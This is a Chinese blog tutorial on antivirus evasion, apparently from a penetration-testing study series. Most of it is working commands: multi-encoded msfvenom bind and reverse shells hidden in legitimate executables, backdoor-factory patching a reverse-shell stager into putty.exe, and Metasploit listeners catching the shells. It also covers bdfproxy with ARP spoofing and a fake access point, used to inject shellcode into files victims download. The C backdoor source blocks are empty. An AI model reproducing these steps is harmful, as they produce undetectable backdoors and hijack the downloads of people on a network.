渗透测试之免杀入门学习
Contents
渗透测试——免杀部分知识
1.恶意软件
- 病毒、木马、蠕虫、键盘激励、僵尸程序、流氓软件、勒索软件、广告程序
- 在用户非自愿的情况下执行安装- 处于某种恶意的目的:控制、窃取、勒索、偷窥、推送、攻击……
 
2.防病毒软件
- 恶意程序最主要的防护手段- 杀毒软件/防病毒软件
- 客户端/服务器/邮件防病毒
 
- 检测原理- 基于二进制文件中特征签名的黑名单检测方法
- 基于行为的分析方法(启发式)
 
- 事后手段- 永远落后于病毒发展
 
3.免杀技术
- 修改二进制文件中的特征字符- 替换、擦除、修改
 
- 加密技术(crypter)- 通过加密是的特征字符不可读,从而逃避AV 检测
- 运行时分片分段的解密执行,注入进程或 AV 不检查的无害文件中
 
- 防病毒软件的检测- 恶意程序本身的特征字符
- 加密器 cripter 的特征字符
 
4.当前现状
- 恶意软件制造者- 编写私有的 RAT 软件,避免普遍被 AV 所知的特征字符
- 使用独有 crypter 软件加密恶意程序
- 处事低调,尽量避免被发现
- 没有能力自己编写恶意代码的黑客,通过直接修改特征码的方式免杀
- Fully UnDetectable 还最高追求 (FUD)
 
- AV 厂商- 广泛采集样本,尽快发现出现的病毒程序,更新病毒库
- 一般新的恶意软件安全 UD 窗口期是一周左右
- 乐毅软件制造者永无休止的拉锯战
- 信的启发式检测技术尚有待完善(误杀漏杀)
 
- 单一 AV 厂商的病毒库很难达到 100% 覆盖- https://www.virustotal.com/- 接口被某些国家的AV软禁免费利用,没有自己的病毒库
 
- http://www.virscan.org/
- 在线多引擎查杀网站与 AV 查杀共享信息
- 搞黑的在线多引擎查毒站
- 常用的 RAT 软件- 灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore
 
 
- https://www.virustotal.com/
5.生成病毒程序
1.生成程序
- 生成反弹 shell
| 1 | root@kali:~# msfvenom -p windows/shell/bind_tcp lhost=10.10.10.131 lport=4444 -a x86 --platform win -f exe -o a.exe | 
- 加密编码反弹 shell
| 1 | root@kali:~# msfvenom -p windows/shell/bind_tcp lhost=10.10.10.132 lport=4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b '\x00' -f exe -o b.exe | 
- 比较编码前后的检测率
2.隐藏shell
- 利用模板隐藏 shell
| 1 | root@kali:~# msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=10.10.10.131 lport=4444 -a x86 --platform win -f exe -o c.exe | 
- 多重编码
| 1 | root@kali:~# msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=10.10.10.131 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe > d.exe | 
- 比较编码前后的检测率
软件保护
- 软件开发商为保护版权,采用的混淆和加密技术避免盗版逆向
- 常被恶意软件用于免杀目的
- Hyperion (32bit PE 程序加密器)
- Crypter / Container(解密器 PE Loader )
| 1 | root@kali:~# git clone https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-1.2.zip | 
- 比较编码前后的检测率
7.自己编写后门
- Windows reverse shell
| 1 | root@kali:~# wine gcc.exe windows.c -o windows.exe -lws2_32 | 
- Linux shell
| 1 | root@kali:~# gcc linux_revers_shell.c -o linux | 

- linux_revers_shell.c
| 1 | 
 | 
- windows.c
| 1 | # 未修正错误 | 

后门工具–Backdoor-factory
1.简介
- patch- 通过替换 exe、dll、注册表等方法修复系统漏洞或问题的方法
- bdf:向二进制文件中增加或者删除代码内容- 某些受保护的二进制程序无法 patch
- 存在一定概率问价你会被 patch 坏掉
 
 
- 后门工厂- 使用于 windows PE x32/64 和 linux ELF x32/64 (OSX)
- 支持 msf payload、自定义 payload
 
- 将 shellcode 代码 patch 进模板文件,躲避 AV 检查
- python 语言编写
- msf 使用的 patch 方法- 覆盖程序入口- msfvenom -p windows/shell/reverse_tcp
 
- 创建新的线程执行 shellcode 并跳回原程序入口- msfvenom -p windows/shell/reverse_tcp –k
- 增加代码片段跳转执行后跳回源程序入口
 
 
- 覆盖程序入口
- CTP 方法- 增加新的代码段 session,与 smf 的-k 方法类似
- 使用现有的代码裂缝/洞(code cave)存放 shellcode
 
- 代码洞- 二进制中超过两个字节的连续 x00 区域(代码片段间区域)
- 根据统计判断代码洞是编译在进行编译是造成的,不同的编译器造成的代码洞的大小不同
 
- 单个代码洞代销不足以存放完整的 shellcode- 多代码洞跳转(非顺序执行)- 初期免杀率可达100%
 
- 结合 msf 的 stager 方法
 
- 多代码洞跳转(非顺序执行)
- patch 选项- 附加代码段
- 单代码洞注入
- 多代码注入
 
- BDF 基本使用- 检查二进制文件是否支持代码注入- backdoor-factory -f putty.exe –S
 
- 显示可用 payload- backdoor-factory -f putty.exe -s show
- backdoor-factory -f which nc-s show
- backdoor-factory -f putty.exe -s show iat_reverse_tcp_stager_threaded -H 10.10.10.133 -P 4444
- 默认单一代码洞,选项 .rdata –> 查看文件 –> 查病毒
- 使用 msf 侦听 set payload windows/meterpreter/revers_tcp set LHOST 10.10.10.131 set LPORT 4444 run
 
- 查看 cave 大小- ackdoor-factory -f putty.exe -c -l
 
 
- 检查二进制文件是否支持代码注入
- 免杀效果对比- backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666
- backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666 –J
- backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.20.8 -P 6666 -a
 
- 与 veil-evasion 集成
- Linux:backdoor-factory -f putty.exe -s show
- IAT:import address table
- 指针指向 WinAPI 地址,被称为 thunks (形实转换程序),地址预定义
2.使用
- -S:检查二进制文件是否支持代码注入 - 1 - root@kali:~# backdoor-factory -f putty.exe –S 
- -c: 在确定其支持patch 后,我们再来查看其是否支持我们指定的 shellcode patch
| 1 | -c:code cave(代码裂缝) | 
- -s SHELL, –shell=SHELL: 可以使用的有效负载。使用“show”来查看有效载荷 - 1 - root:~# backdoor-factory -f putty.exe -s show 
| 1 | root:~# backdoor-factory -f `which nc` -s show | 
- 注入 putty.exe,报错 - 1 - root@kali:~# backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 -o putty2.exe 
| 1 | [!] Enter your selection: 2 | 
- 显示未找到文件 - 1 
 2
 3
 4
 5
 6
 7- Failed to read certificate file: /usr/share/backdoor-factory/certs/Verisign.cer 
 139701503748160:error:02001002:system library:fopen:No such file or directory:bss_file.c:175:fopen('/usr/share/backdoor-factory/certs/VerisignPrivateKey.pem','rb')
 139701503748160:error:2006D080:BIO routines:BIO_new_file:no such file:bss_file.c:182:
 139701503748160:error:02001002:system library:fopen:No such file or directory:bss_file.c:175:fopen('/usr/share/backdoor-factory/certs/Verisign.cer','rb')
 139701503748160:error:2006D080:BIO routines:BIO_new_file:no such file:bss_file.c:182:
 Failed
 File putty5.exe is in the 'backdoored' directory
- 修复错误(备份并重命名) - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10- root@kali:~# cat /usr/share/backdoor-factory/certs/ 
 passFile.txt signingCert.cer signingPrivateKey.pem
 root@kali:~# cd /usr/share/backdoor-factory/certs/
 
 root@kali:/usr/share/backdoor-factory/certs# cp signingCert.cer signingCert.cer.bak
 root@kali:/usr/share/backdoor-factory/certs# mv signingCert.cer Verisign.cer
 root@kali:/usr/share/backdoor-factory/certs# cp signingPrivateKey.pem signingPrivateKey.pem.bak
 root@kali:/usr/share/backdoor-factory/certs# mv signingPrivateKey.pem VerisignPrivateKey.pem
 
 root@kali:~# backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 -o putty2.exe
- 使用 msf 侦听 - 1 
 2
 3
 4
 5- msf > use exploit/multi/handler 
 msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
 msf exploit(multi/handler) > set LHOST 10.10.10.131
 msf exploit(multi/handler) > set LPORT 4444
 msf exploit(multi/handler) > run
- windows 运行被注入 putty2.exe 程序,kali 反弹成功 
- 免杀效果比较 
| 1 | backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 --output-file=putty3.exe | 
- 与 veil-evasion 集成 - 1 
 2- root@kali:~# veil-evasion 
 [menu>>]: list
后门工具–Bdfproxy
1.简介
- Bdfproxy(mitmproxy)- 基于流量劫持(中间人攻击)动态注入 shellcode (ARP spoof、DNS spoof、Fake AP)
 
- 步骤- sysctl -w net.ipv4.ip_forward=1
- iptables -t nat -A PREROUTING -p tcp –dport 80/443 -j REDIRECT –to-ports 8080
- vi /etc/bdfproxy/bdfproxy.cfg- proxyMode = transparent
 修改侦听 IP 地址bdfproxy
 
- proxyMode = transparent
 
- arpspoof -i eth0 -t 1.1.1.2 1.1.1.1
- 启动 msf
- 流程- mana 创建 Fack AP
- badfproxy 代理注入代码
- msf 侦听反弹 shell
 
2.使用
- 修改 IP 转发 - 1 
 2- root@kali:~# vim /etc/sysctl.conf 
 net.ipv4.ip_forward=1
- 修改 iptables - 1 
 2- root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 
 root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
- 修改配置文件 - 1 
 2
 3- root@kali:~# vim /etc/bdfproxy/bdfproxy.cfg 
 proxyMode = transparent
 HOST = 10.10.10.131 #108行,117行,128行,替换所有的,有6个
- 启动 bdfproxy - 1 - root@kali:~# bdfproxy 
- 启动 msfconsole - 1 
 2- root@kali:~# msfconsole -r /root/bdfproxy_msf_resource.rc 
 msf exploit(multi/handler) > jobs
- arp 欺骗 - 1 - root@kali:~# arpspoof -i eth0 -t 10.10.10.133 10.10.10.2 
- 靶机访问浏览器下载软件,并运行 - 1 -  
3.无线流量劫持
- vi /etc/mana-toolkit/hostapd-mana.conf - 修改无线 SSID 名称
 
- ./usr/share/mana-toolkit/run-mana/start-nat-simple.sh - 修改 wlan1 无线网卡适配器并启动
- iptables -t nat -A PREROUTING -i $phy -p tcp –dport 80/443 -j REDIRECT –to-port 8080
 
- vi /etc/bdfproxy/bdfproxy.cfg - proxyMode = transparent
- 修改侦听 IP 地址并启动 badfproxy
 
- 启动 msf - msfconsole -r /usr/share/bdfproxy/bdfproxy_msf_resource.rc
 
- 补充内容 - 全站 HTTPS 防注入(微软每个补丁都带码)
- PE 文件证书签名可被清除
- PE Header -> Optional Header -> Certificate Table(Address and size)- 全部用 0 覆盖
- BDF 默认清除数字签名
 
 
- https://live.sysinternals.com/ - 这是允许访问所有Sysinternals公用程序的文件共享。我们已经开发了这个功能来测试我们实用程序的替代分配机制。
- 这将允许您从任何连接到互联网的计算机运行这些工具,而无需导航到网页,下载并解压zip文件。
 
- 
- Sysinternals网站由Mark Russinovich于1996年创建,主办他先进的系统实用程序和技术信息。无论您是IT专业人员还是开发人员,您都可以找到Sysinternals实用程序来帮助您管理,诊断和诊断Windows系统和应用程序。
 
Author: Shu1L
Link: https://shu1l.github.io/2020/04/28/shen-tou-ce-shi-zhi-mian-sha-ru-men/
License: 知识共享署名-非商业性使用 4.0 国际许可协议